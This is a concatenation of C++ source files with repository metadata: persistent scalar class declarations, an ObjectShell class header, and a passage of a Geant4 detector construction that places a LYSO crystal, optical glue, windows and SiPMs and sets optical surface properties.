virtual unsigned HashNumber (unsigned long Base) const; virtual Boolean IsEqualTo (const RGPersistent*) const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual int Compare (const RGPScalar& rhs) const; virtual int Compare (int i) const; virtual int Compare (double d) const; virtual int Compare (unsigned long i) const; virtual int Compare (const RGString& str) const; virtual int GetInt () const; virtual double GetDouble () const; virtual unsigned long GetUnsigned () const; virtual Boolean GetBoolean () const; virtual RGString GetString (unsigned long length) const; virtual unsigned long TotalLength () const; virtual unsigned long FractionDigits () const; virtual unsigned long TotalDigits () const; protected: double Value; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGPUnsigned : public RGPScalar { PERSISTENT_DECLARATION(RGPUnsigned) public: RGPUnsigned () : RGPScalar (), Value (0) {} RGPUnsigned (unsigned long val) : RGPScalar (), Value (val) {} RGPUnsigned (const RGPUnsigned& rhs) : RGPScalar (), Value (rhs.Value) {} ~RGPUnsigned (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual int CompareTo (const RGPersistent*) const; virtual unsigned HashNumber (unsigned long Base) const; virtual Boolean IsEqualTo (const RGPersistent*) const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual int Compare (const RGPScalar& rhs) const; virtual int Compare (int i) const; virtual int Compare (double d) const; virtual int Compare (unsigned long i) const; virtual int Compare (const RGString& str) const; virtual int GetInt () const; virtual double GetDouble () const; virtual unsigned long GetUnsigned () const; virtual Boolean GetBoolean () const; virtual RGString GetString (unsigned long length) const; virtual unsigned long TotalLength () const; virtual unsigned long TotalDigits () const; protected: unsigned long Value; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGPBoolean : public RGPScalar { PERSISTENT_DECLARATION(RGPBoolean) public: RGPBoolean () : RGPScalar (), Value (0) {} RGPBoolean (unsigned long val) : RGPScalar () { if (val == 0) Value = 0; else Value = 1; } RGPBoolean (const RGPBoolean& rhs) : RGPScalar (), Value (rhs.Value) {} ~RGPBoolean (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual int CompareTo (const RGPersistent*) const; virtual unsigned HashNumber (unsigned long Base) const; virtual Boolean IsEqualTo (const RGPersistent*) const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual int Compare (const RGPScalar& rhs) const; virtual int Compare (int i) const; virtual int Compare (double d) const; virtual int Compare (unsigned long i) const; virtual int Compare (const RGString& str) const; virtual int GetInt () const; virtual double GetDouble () const; virtual unsigned long GetUnsigned () const; virtual Boolean GetBoolean () const; virtual RGString GetString (unsigned long length) const; protected: Boolean Value; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGPDecimal : public RGPDouble { PERSISTENT_DECLARATION(RGPDecimal) public: RGPDecimal () : RGPDouble (), TotalDigs (-1), FractionalDigs (-1), Maximum (DOUBLEMAX), Minimum (DOUBLEMIN), EMaximum (DOUBLEMAX), EMinimum (DOUBLEMIN) {} RGPDecimal (double val) : RGPDouble (val), TotalDigs (-1), FractionalDigs (-1), Maximum (DOUBLEMAX), Minimum (DOUBLEMIN), EMaximum (DOUBLEMAX), EMinimum (DOUBLEMIN) {} RGPDecimal (const RGPDecimal& rhs) : RGPDouble (rhs), TotalDigs (rhs.TotalDigs), FractionalDigs (rhs.FractionalDigs), Maximum (DOUBLEMAX), Minimum (DOUBLEMIN), EMaximum (DOUBLEMAX), EMinimum (DOUBLEMIN) {} ~RGPDecimal (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual RGString GetString (unsigned long length) const; virtual void SetTotalDigits (int n); virtual void SetFractionalDigits (int n); protected: int TotalDigs; int FractionalDigs; double Maximum; double Minimum; double EMaximum; double EMinimum; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); RGString ConvertDouble (double d) const; int RemoveTrailingZeroes (RGString& Work, int decimalPt) const; }; class RGXMLInt : public RGPInt { PERSISTENT_DECLARATION(RGXMLInt) public: RGXMLInt () : RGPInt (), Maximum (INTMAX), Minimum (INTMIN) {} RGXMLInt (int val) : RGPInt (val), Maximum (INTMAX), Minimum (INTMIN) {} RGXMLInt (const RGXMLInt& rhs) : RGPInt (rhs), Maximum (rhs.Maximum), Minimum (rhs.Minimum) {} ~RGXMLInt (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual void SetMaxInclusive (const RGPScalar& max); virtual void SetMinInclusive (const RGPScalar& min); virtual void ResetBounds (); virtual void SetMaxExclusive (const RGPScalar& max); virtual void SetMinExclusive (const RGPScalar& min); protected: int Maximum; // These are max and min inclusive; for exclusive, modify max and min by 1 (these are ints int Minimum; // for cryin' out loud!) virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGXMLDouble : public RGPDouble { PERSISTENT_DECLARATION(RGXMLDouble) public: RGXMLDouble () : RGPDouble (), Maximum (DOUBLEMAX), Minimum (DOUBLEMIN), EMaximum (DOUBLEMAX), EMinimum (DOUBLEMIN) {} RGXMLDouble (double val) : RGPDouble (val), Maximum (DOUBLEMAX), Minimum (DOUBLEMIN), EMaximum (DOUBLEMAX), EMinimum (DOUBLEMIN) {} RGXMLDouble (const RGXMLDouble& rhs) : RGPDouble (rhs), Maximum (rhs.Maximum), Minimum (rhs.Minimum), EMaximum (rhs.EMaximum), EMinimum (rhs.EMinimum) {} ~RGXMLDouble (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual void SetMaxInclusive (const RGPScalar& max); virtual void SetMinInclusive (const RGPScalar& min); virtual void SetMaxExclusive (const RGPScalar& max); virtual void SetMinExclusive (const RGPScalar& min); virtual void ResetBounds (); protected: double Maximum; double Minimum; double EMaximum; double EMinimum; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGXMLUnsigned : public RGPUnsigned { PERSISTENT_DECLARATION(RGXMLUnsigned) public: RGXMLUnsigned () : RGPUnsigned (), Maximum (ULONGMAX), Minimum (ULONGMIN) {} RGXMLUnsigned (unsigned long val) : RGPUnsigned (val), Maximum (ULONGMAX), Minimum (ULONGMIN) {} RGXMLUnsigned (const RGXMLUnsigned& rhs) : RGPUnsigned (rhs), Maximum (rhs.Maximum), Minimum (rhs.Minimum) {} ~RGXMLUnsigned (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual void SetMaxInclusive (const RGPScalar& max); virtual void SetMinInclusive (const RGPScalar& min); virtual void SetMaxExclusive (const RGPScalar& max); virtual void SetMinExclusive (const RGPScalar& min); virtual void ResetBounds (); protected: unsigned long Maximum; // These will suffice for both inclusive and exclusive bounds unsigned long Minimum; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGXMLStringScalar : public RGPScalar { PERSISTENT_DECLARATION(RGXMLStringScalar) public: RGXMLStringScalar (); RGXMLStringScalar (const RGXMLStringScalar&); virtual ~RGXMLStringScalar (); virtual RGXMLStringScalar& operator=(const RGXMLStringScalar& rhs); RGXMLStringScalar& operator=(int i) { SetTo (i); return *this; } RGXMLStringScalar& operator=(double d) { SetTo (d); return *this; } RGXMLStringScalar& operator=(unsigned long i) { SetTo (i); return *this; } virtual size_t StoreSize () const; virtual unsigned HashNumber (unsigned long Base) const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual int Compare (const RGPScalar& rhs) const; virtual int Compare (int i) const; virtual int Compare (double d) const; virtual int Compare (unsigned long i) const; virtual int Compare (const RGString& str) const; virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual int GetInt () const; virtual double GetDouble () const; virtual unsigned long GetUnsigned () const; virtual Boolean GetBoolean () const; virtual RGString GetString (unsigned long length) const; virtual unsigned long TotalLength () const; protected: RGString SValue; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; #endif /* _RGPSCALAR_H_ */
[ "hoffman@ncbi.nlm.nih.gov" ]
hoffman@ncbi.nlm.nih.gov
d648cf41928c91da96dce305f203b7f6d21b2892
7b0eec33822735a8f3c9b18e57847bc9f401aba3
/FreeGui/ObjectShell.h
d195a69ca5e48863c5eb0e874f7888ad8aa594e1
[]
no_license
erikpa1/FreeGUi
e71f689a5ac1143be9cebc243b00eaeda6b0ef6e
65f9596bc7922a19d9b1a2b48c74f8f6a260caae
refs/heads/master
2020-05-21T06:28:01.063644
2019-05-10T08:28:36
2019-05-10T08:28:36
185,945,530
0
0
null
null
null
null
UTF-8
C++
false
false
823
h
#pragma once #include "Definitions.h" #include <random> #include <chrono> #include <string> #include <fstream> #include "algorithm" #include <iostream> #define ODDELOVAC "******" class EXPORT ObjectShell { public: ObjectShell(); virtual ~ObjectShell(); int getID() { return _ID;} int getReferencesCount() { return _references; } void setUniqueID(int ID); void setCategory(int category); void increment(); void decrement(); virtual std::string ToString(); virtual void saveMySelf(std::ofstream & stream); virtual void loadMySelf(std::ifstream & stream); virtual void posthumousVoice(std::string voice = ""); static int generateUniqueID(std::string ID); static int getNumberOfMe(); bool operator==(const ObjectShell & shell); private: int _ID = 0; int _references = 0; };
[ "erikpa1@azet.sk" ]
erikpa1@azet.sk
969125d5b248fc6d6893ce72240e062a1afe68ce
4955a09ade012d0c15d9e194dcaff32ff8a4fe46
/src/DetectorConstruction_planar.cc
615bc8702c6931eb3367b97838d7a1dcfcc18bce
[]
no_license
fabio-mon/SiPM_simulation
8797e42eda0867e391409d5c204ea21e04583faa
1ddb82ce30e625de669f53af69f5b0a7863f0fbc
refs/heads/master
2021-09-19T23:31:50.820056
2018-08-01T09:52:33
2018-08-01T09:52:33
114,459,218
1
0
null
null
null
null
UTF-8
C++
false
false
27,810
cc
#include "DetectorConstruction_planar.hh" #include "SiPM_SD.hh" #include "G4Material.hh" #include "G4NistManager.hh" #include "ConfigFile.hh" #include "G4Box.hh" #include "G4LogicalVolume.hh" #include "G4PVPlacement.hh" #include "G4PVReplica.hh" #include "G4GlobalMagFieldMessenger.hh" #include "G4AutoDelete.hh" #include "G4SDManager.hh" #include "G4VisAttributes.hh" #include "G4Colour.hh" #include "G4PhysicalConstants.hh" #include "G4SystemOfUnits.hh" #include "G4OpticalSurface.hh" #include "G4LogicalBorderSurface.hh" #include "G4LogicalSkinSurface.hh" //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo...... G4ThreadLocal G4GlobalMagFieldMessenger* DetectorConstruction_planar::fMagFieldMessenger = 0; //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo...... DetectorConstruction_planar::DetectorConstruction_planar(std::string configFileName) : G4VUserDetectorConstruction(), fCheckOverlaps(true) { fExpHall_x = fExpHall_y = fExpHall_z = 0.10*m; //get geom parameters from config file ConfigFile config (configFileName) ; //Crystal if (config.keyExists("Crystal_x")) fCryst_x= config.read<double> ("Crystal_x") * mm/2; else fCryst_x=12.*mm/2; if (config.keyExists("Crystal_y")) fCryst_y= config.read<double> ("Crystal_y") * mm/2; else fCryst_y=12.*mm/2; if (config.keyExists("Crystal_z")) fCryst_z= config.read<double> ("Crystal_z") * mm/2; else fCryst_z=12.*mm/2; //SiPM if (config.keyExists("SiPM_x")) fSiPM_x= config.read<double> ("SiPM_x") * mm/2; else fSiPM_x=5.*mm/2; if (config.keyExists("SiPM_y")) fSiPM_y= config.read<double> ("SiPM_y") * mm/2; else fSiPM_y=5.*mm/2; if (config.keyExists("SiPM_z")) fSiPM_z= config.read<double> ("SiPM_z") * mm/2; else fSiPM_z=0.8*mm/2; //Glue if (config.keyExists("Glue_x")) fGlue_x= config.read<double> ("Glue_x") * mm/2; else fGlue_x=fSiPM_x; if (config.keyExists("Glue_y")) fGlue_y= config.read<double> ("Glue_y") * mm/2; else fGlue_y=fSiPM_y; if (config.keyExists("Glue_z")) fGlue_z= config.read<double> ("Glue_z") * mm/2; else fGlue_z=0.05*mm; //SiPM optic window if (config.keyExists("SiPM_window_x")) fSiPM_window_x= config.read<double> ("SiPM_window_x") * mm/2; else fSiPM_window_x=fSiPM_x; if (config.keyExists("SiPM_window_y")) fSiPM_window_y= config.read<double> ("SiPM_window_y") * mm/2; else fSiPM_window_y=fSiPM_y; if (config.keyExists("SiPM_window_z")) fSiPM_window_z= config.read<double> ("SiPM_window_z") * mm/2; else fSiPM_window_z= 0.15*mm; /* if (config.keyExists("GlueWindowEverywhere")) fGlueWindowEverywhere = config.read<bool> ("GlueWindowEverywhere"); else fGlueWindowEverywhere = false; if(fGlueWindowEverywhere == false) { fGlue_x = fSiPM_x; fGlue_y = fSiPM_y; fGlue_z = 0.05*mm; fSiPM_window_x = fSiPM_x; fSiPM_window_y = fSiPM_y; fSiPM_window_z = 0.15*mm; } else { fGlue_x = fCryst_x; fGlue_y = fCryst_y; fGlue_z = 0.05*mm; fSiPM_window_x = fCryst_x; fSiPM_window_y = fCryst_y; fSiPM_window_z = 0.15*mm; } */ //SiPM positions if (config.keyExists("SiPM_x_pos")) config.readIntoVect(fSiPM_x_pos,"SiPM_x_pos"); else fSiPM_x_pos = std::vector<double> (1,0); if (config.keyExists("SiPM_y_pos")) config.readIntoVect(fSiPM_y_pos,"SiPM_y_pos"); else fSiPM_y_pos = std::vector<double> (1,0); assert(fSiPM_x_pos.size() == fSiPM_y_pos.size() ); //Glue positions if (config.keyExists("Glue_x_pos")) config.readIntoVect(fGlue_x_pos,"Glue_x_pos"); else fGlue_x_pos = fSiPM_x_pos; if (config.keyExists("Glue_y_pos")) config.readIntoVect(fGlue_y_pos,"Glue_y_pos"); else fGlue_y_pos = fSiPM_y_pos; assert(fGlue_x_pos.size() == fGlue_y_pos.size() ); //optic window positions if (config.keyExists("SiPM_window_x_pos")) config.readIntoVect(fSiPM_window_x_pos,"SiPM_window_x_pos"); else fSiPM_window_x_pos = fSiPM_x_pos; if (config.keyExists("SiPM_window_y_pos")) config.readIntoVect(fSiPM_window_y_pos,"SiPM_window_y_pos"); else fSiPM_window_y_pos = fSiPM_y_pos; assert(fSiPM_window_x_pos.size() == fSiPM_window_y_pos.size() ); //Tilt SiPM wrt to beam if (config.keyExists("tilt_angle")) ftilt_angle = config.read<double> ("tilt_angle")*deg; else ftilt_angle = 0.*deg; //PDE settings if (config.keyExists("PDEoption")) fPDEoption = config.read<std::string> ("PDEoption"); else fPDEoption=""; if (config.keyExists("PDEweight")) fweight = config.read<double> ("PDEweight"); else fweight = 1.; //SURFACE in general if (config.keyExists("surface_type")) fsurface_type= config.read<int> ("surface_type"); else fsurface_type=0; if (config.keyExists("wrapping_refl")) fwrapping_refl= config.read<double> ("wrapping_refl"); else fwrapping_refl=0.97; if (config.keyExists("SigmaAlpha")) fSigmaAlpha = config.read<double> ("SigmaAlpha"); else fSigmaAlpha=3.4*deg; if (config.keyExists("SpecularSpike") && config.keyExists("SpecularLobe") && config.keyExists("BackScatter")) { fSS = config.read<double> ("SpecularSpike"); fSL = config.read<double> ("SpecularLobe"); fBS = config.read<double> ("BackScatter"); } else { fSS=0.; fSL=1.; fBS=0.; } //FRONT SURFACE (opposite side wrt SiPM) if (config.keyExists("frontsurface_type")) ffrontsurface_type= config.read<int> ("frontsurface_type"); else ffrontsurface_type=fsurface_type; if (config.keyExists("frontwrapping_refl")) ffrontwrapping_refl= config.read<double> ("frontwrapping_refl"); else ffrontwrapping_refl=fwrapping_refl; if (config.keyExists("frontSigmaAlpha")) ffrontSigmaAlpha = config.read<double> ("frontSigmaAlpha"); else ffrontSigmaAlpha=fSigmaAlpha; if (config.keyExists("frontSpecularSpike") && config.keyExists("frontSpecularLobe") && config.keyExists("frontBackScatter")) { ffrontSS = config.read<double> ("frontSpecularSpike"); ffrontSL = config.read<double> ("frontSpecularLobe"); ffrontBS = config.read<double> ("frontBackScatter"); } else { ffrontSS=fSS; ffrontSL=fSL; ffrontBS=fBS; } //LATERAL SURFACES if (config.keyExists("lateralsurface_type")) flateralsurface_type= config.read<int> ("lateralsurface_type"); else flateralsurface_type=fsurface_type; if (config.keyExists("lateralwrapping_refl")) flateralwrapping_refl= config.read<double> ("lateralwrapping_refl"); else flateralwrapping_refl=fwrapping_refl; if (config.keyExists("lateralSigmaAlpha")) flateralSigmaAlpha = config.read<double> ("lateralSigmaAlpha"); else flateralSigmaAlpha=fSigmaAlpha; if (config.keyExists("lateralSpecularSpike") && config.keyExists("lateralSpecularLobe") && config.keyExists("lateralBackScatter")) { flateralSS = config.read<double> ("lateralSpecularSpike"); flateralSL = config.read<double> ("lateralSpecularLobe"); flateralBS = config.read<double> ("lateralBackScatter"); } else { flateralSS=fSS; flateralSL=fSL; flateralBS=fBS; } //BACK SURFACE (same side of SiPM) if (config.keyExists("backsurface_type")) fbacksurface_type= config.read<int> ("backsurface_type"); else fbacksurface_type=fsurface_type; if (config.keyExists("backwrapping_refl")) fbackwrapping_refl= config.read<double> ("backwrapping_refl"); else fbackwrapping_refl=fwrapping_refl; if (config.keyExists("backSigmaAlpha")) fbackSigmaAlpha = config.read<double> ("backSigmaAlpha"); else fbackSigmaAlpha=fSigmaAlpha; if (config.keyExists("backSpecularSpike") && config.keyExists("backSpecularLobe") && config.keyExists("backBackScatter")) { fbackSS = config.read<double> ("backSpecularSpike"); fbackSL = config.read<double> ("backSpecularLobe"); fbackBS = config.read<double> ("backBackScatter"); } else { fbackSS=fSS; fbackSL=fSL; fbackBS=fBS; } //SURFACE opticwindow-air if (config.keyExists("WindowAirsurface_type")) fWindowAirsurface_type= config.read<int> ("WindowAirsurface_type"); else fWindowAirsurface_type=0; if (config.keyExists("WindowAirwrapping_refl")) fWindowAirwrapping_refl= config.read<double> ("WindowAirwrapping_refl"); else fWindowAirwrapping_refl=0.97; if (config.keyExists("WindowAirSigmaAlpha")) fWindowAirSigmaAlpha = config.read<double> ("WindowAirSigmaAlpha"); else fWindowAirSigmaAlpha=0.; if (config.keyExists("WindowAirSpecularSpike") && config.keyExists("WindowAirSpecularLobe") && config.keyExists("WindowAirbackScatter")) { fWindowAirSS = config.read<double> ("WindowAirSpecularSpike"); fWindowAirSL = config.read<double> ("WindowAirSpecularLobe"); fWindowAirBS = config.read<double> ("WindowAirbackScatter"); } else { fWindowAirSS=fSS; fWindowAirSL=fSL; fWindowAirBS=fBS; } std::cout<<"initialization ok"<<std::endl; } //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo...... DetectorConstruction_planar::~DetectorConstruction_planar() { } //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo...... G4VPhysicalVolume* DetectorConstruction_planar::Construct() { // -----------------------> Get materials G4Material* Air = MyMaterials::Air () ; G4Material* Vacuum = MyMaterials::Vacuum () ; G4Material *LYSO = MyMaterials::LYSO () ; G4Material *SiPM_mat = MyMaterials::Silicon () ; G4Material *Glue_mat = MyMaterials::Glue () ; G4Material *Window_mat = MyMaterials::OpticWindow () ; G4Material *PlasticScint_mat = MyMaterials::PlasticScintillator () ; if (! Vacuum || ! LYSO || ! Glue_mat || ! SiPM_mat || ! PlasticScint_mat || ! Window_mat) { G4ExceptionDescription msg; msg << "Cannot retrieve materials already defined."; G4Exception("B4DetectorConstruction::DefineVolumes()", "MyCode0001", FatalException, msg); } //------------------------> declare geom + logic + phys Volumes G4double posx, posy, posz; G4RotationMatrix *Rm = new G4RotationMatrix(); Rm->rotateX(ftilt_angle); // The experimental Hall G4Box* expHall_box = new G4Box("World",fExpHall_x,fExpHall_y,fExpHall_z); G4LogicalVolume* expHall_log = new G4LogicalVolume(expHall_box,Vacuum,"World",0,0,0); G4VPhysicalVolume* expHall_phys = new G4PVPlacement(0,G4ThreeVector(),expHall_log,"World",0,false,0); // Small spaces around the crystal useful to define different surfaces around the crystal //Lateral surfaces G4Box* world_lateral_x_crystal_box = new G4Box("Lateral_world_x",0.2*mm,fCryst_y,fCryst_z); G4Box* world_lateral_y_crystal_box = new G4Box("Lateral_world_y",fCryst_x,0.2*mm,fCryst_z); G4Box* world_lateral_z_crystal_box = new G4Box("Lateral_world_z",fCryst_x,fCryst_y,0.2*mm); G4LogicalVolume* world_lateral_x_crystal_log = new G4LogicalVolume(world_lateral_x_crystal_box,Vacuum,"Lateral_world_x",0,0,0); G4LogicalVolume* world_lateral_y_crystal_log = new G4LogicalVolume(world_lateral_y_crystal_box,Vacuum,"Lateral_world_y",0,0,0); G4LogicalVolume* world_lateral_z_crystal_log = new G4LogicalVolume(world_lateral_z_crystal_box,Vacuum,"Lateral_world_z",0,0,0); G4ThreeVector world_lateral_x1_crystal_vector(-fCryst_x-0.2*mm,0.,0.); world_lateral_x1_crystal_vector.rotateX(-ftilt_angle); G4ThreeVector world_lateral_x2_crystal_vector(+fCryst_x+0.2*mm,0.,0.); world_lateral_x2_crystal_vector.rotateX(-ftilt_angle); G4ThreeVector world_lateral_y1_crystal_vector(0.,-fCryst_x-0.2,0.); world_lateral_y1_crystal_vector.rotateX(-ftilt_angle); G4ThreeVector world_lateral_y2_crystal_vector(0.,+fCryst_x+0.2,0.); world_lateral_y2_crystal_vector.rotateX(-ftilt_angle); G4ThreeVector world_lateral_z_crystal_vector(0.,0.,-fCryst_z-0.2); world_lateral_z_crystal_vector.rotateX(-ftilt_angle); G4VPhysicalVolume* world_lateral_x1_crystal_phys = new G4PVPlacement(Rm , world_lateral_x1_crystal_vector , world_lateral_x_crystal_log,"Lateral_world",expHall_log,false,0); G4VPhysicalVolume* world_lateral_x2_crystal_phys = new G4PVPlacement(Rm , world_lateral_x2_crystal_vector , world_lateral_x_crystal_log,"Lateral_world",expHall_log,false,0); G4VPhysicalVolume* world_lateral_y1_crystal_phys = new G4PVPlacement(Rm , world_lateral_y1_crystal_vector , world_lateral_y_crystal_log,"Lateral_world",expHall_log,false,0); G4VPhysicalVolume* world_lateral_y2_crystal_phys = new G4PVPlacement(Rm , world_lateral_y2_crystal_vector , world_lateral_y_crystal_log,"Lateral_world",expHall_log,false,0); G4VPhysicalVolume* world_lateral_z_crystal_phys = new G4PVPlacement(Rm , world_lateral_z_crystal_vector , world_lateral_z_crystal_log,"Lateral_world",expHall_log,false,0); // The LYSO crystal G4ThreeVector crystal_vector; crystal_vector.rotateX(-ftilt_angle); G4Box* crystal_box = new G4Box("Crystal",fCryst_x,fCryst_y,fCryst_z); G4LogicalVolume* crystal_log = new G4LogicalVolume(crystal_box,LYSO,"Crystal",0,0,0); G4VPhysicalVolume* crystal_phys = new G4PVPlacement(Rm, crystal_vector,crystal_log,"Crystal", expHall_log,false,0); //loop to place the SiPM+glue+window units // Optical glue G4ThreeVector Glue_vector; G4Box* Glue_box = new G4Box("Optic_Glue",fGlue_x,fGlue_y,fGlue_z); G4LogicalVolume* Glue_log = new G4LogicalVolume(Glue_box,Glue_mat,"Optic_Glue",0,0,0); std::vector<G4VPhysicalVolume*> Glue_phys; for (unsigned i=0; i < fGlue_x_pos.size(); i++) { Glue_vector = G4ThreeVector(fGlue_x_pos.at(i)*mm,fGlue_y_pos.at(i)*mm, posz = fCryst_z + fGlue_z ); Glue_vector.rotateX(-ftilt_angle); Glue_phys.push_back( new G4PVPlacement(Rm,Glue_vector,Glue_log, "Optic_Glue",expHall_log,false,0) ); } std::cout<<"glue placed"<<std::endl; /* if(fGlueWindowEverywhere==true) { Glue_vector = G4ThreeVector( 0. , 0. , posz = fCryst_z + fGlue_z ); Glue_vector.rotateX(-ftilt_angle); Glue_phys.push_back( new G4PVPlacement(Rm,Glue_vector,Glue_log, "Optic_Glue",expHall_log,false,0) ); } */ //SiPM optical grease G4ThreeVector Window_vector; G4Box* Window_box = new G4Box("Optic_window",fSiPM_window_x,fSiPM_window_y,fSiPM_window_z); G4LogicalVolume* Window_log = new G4LogicalVolume(Window_box,Window_mat,"Optic_window",0,0,0); std::vector<G4VPhysicalVolume*> Window_phys; for (unsigned i=0; i < fSiPM_window_x_pos.size(); i++) { //SiPM optical grease Window_vector = G4ThreeVector(fSiPM_window_x_pos.at(i)*mm,fSiPM_window_y_pos.at(i)*mm, posz = fCryst_z +2* fGlue_z +fSiPM_window_z); Window_vector.rotateX(-ftilt_angle); Window_phys.push_back( new G4PVPlacement(Rm,Window_vector,Window_log,"Optic_window", expHall_log,false,0) ); } std::cout<<"window placed"<<std::endl; /* if(fGlueWindowEverywhere==true) { Window_vector = G4ThreeVector( 0. , 0. , posz = fCryst_z +2* fGlue_z +fSiPM_window_z); Window_vector.rotateX(-ftilt_angle); Window_phys.push_back( new G4PVPlacement(Rm,Window_vector,Window_log, "Optic_window",expHall_log,false,0) ); } */ //SiPM G4ThreeVector SiPM_vector; G4Box* SiPM_box = new G4Box("SiPM",fSiPM_x,fSiPM_y,fSiPM_z); G4LogicalVolume* SiPM_log = new G4LogicalVolume(SiPM_box,SiPM_mat,"SiPM",0,0,0); std::vector<G4VPhysicalVolume*> SiPM_phys; for (unsigned i=0; i < fSiPM_x_pos.size(); i++) { //SiPM SiPM_vector = G4ThreeVector(fSiPM_x_pos.at(i)*mm,fSiPM_y_pos.at(i)*mm, posz = fCryst_z + 2*fGlue_z + 2*fSiPM_window_z + fSiPM_z ); SiPM_vector.rotateX(-ftilt_angle); SiPM_phys.push_back( new G4PVPlacement(Rm,SiPM_vector,SiPM_log,"SiPM", expHall_log,false,0) ); /* if(fGlueWindowEverywhere==true) //in this case window and glue have been already placed continue; // Optical glue Glue_vector = G4ThreeVector(fSiPM_x_pos.at(i)*mm,fSiPM_y_pos.at(i)*mm, posz = fCryst_z + fGlue_z ); Glue_vector.rotateX(-ftilt_angle); Glue_phys.push_back( new G4PVPlacement(Rm,Glue_vector,Glue_log, "Optic_Glue",expHall_log,false,0) ); //SiPM optical grease Window_vector = G4ThreeVector(fSiPM_x_pos.at(i)*mm,fSiPM_y_pos.at(i)*mm, posz = fCryst_z +2* fGlue_z +fSiPM_window_z); Window_vector.rotateX(-ftilt_angle); Window_phys.push_back( new G4PVPlacement(Rm,Window_vector,Window_log,"Optic_window", expHall_log,false,0) ); */ } //------------------> Define surfaces // LYSO-air front surface G4OpticalSurface* opLYSOFrontSurface = new G4OpticalSurface("LYSOSurface"); new G4LogicalBorderSurface("LYSOSurface", crystal_phys,world_lateral_z_crystal_phys,opLYSOFrontSurface); // LYSO-air lateral surface G4OpticalSurface* opLYSOLateralx1Surface = new G4OpticalSurface("LYSOSurface"); new G4LogicalBorderSurface("LYSOSurface", crystal_phys,world_lateral_x1_crystal_phys,opLYSOLateralx1Surface); G4OpticalSurface* opLYSOLateralx2Surface = new G4OpticalSurface("LYSOSurface"); new G4LogicalBorderSurface("LYSOSurface", crystal_phys,world_lateral_x2_crystal_phys,opLYSOLateralx2Surface); G4OpticalSurface* opLYSOLateraly1Surface = new G4OpticalSurface("LYSOSurface"); new G4LogicalBorderSurface("LYSOSurface", crystal_phys,world_lateral_y1_crystal_phys,opLYSOLateraly1Surface); G4OpticalSurface* opLYSOLateraly2Surface = new G4OpticalSurface("LYSOSurface"); new G4LogicalBorderSurface("LYSOSurface", crystal_phys,world_lateral_y2_crystal_phys,opLYSOLateraly2Surface); // LYSO-air back surface G4OpticalSurface* opLYSOBackSurface = new G4OpticalSurface("LYSOSurface"); new G4LogicalBorderSurface("LYSOSurface", crystal_phys,expHall_phys,opLYSOBackSurface); SetSurfaceProperties(opLYSOFrontSurface,ffrontsurface_type,ffrontSigmaAlpha, ffrontwrapping_refl, ffrontSL, ffrontSS, ffrontBS); SetSurfaceProperties(opLYSOLateralx1Surface,flateralsurface_type,flateralSigmaAlpha, flateralwrapping_refl, flateralSL, flateralSS, flateralBS); SetSurfaceProperties(opLYSOLateralx2Surface,flateralsurface_type,flateralSigmaAlpha, flateralwrapping_refl, flateralSL, flateralSS, flateralBS); SetSurfaceProperties(opLYSOLateraly1Surface,flateralsurface_type,flateralSigmaAlpha, flateralwrapping_refl, flateralSL, flateralSS, flateralBS); SetSurfaceProperties(opLYSOLateraly2Surface,flateralsurface_type,flateralSigmaAlpha, flateralwrapping_refl, flateralSL, flateralSS, flateralBS); SetSurfaceProperties(opLYSOBackSurface,fbacksurface_type,fbackSigmaAlpha, fbackwrapping_refl, fbackSL, fbackSS, fbackBS); // Optic grease - air surface (trick to simulate SiPM reflective 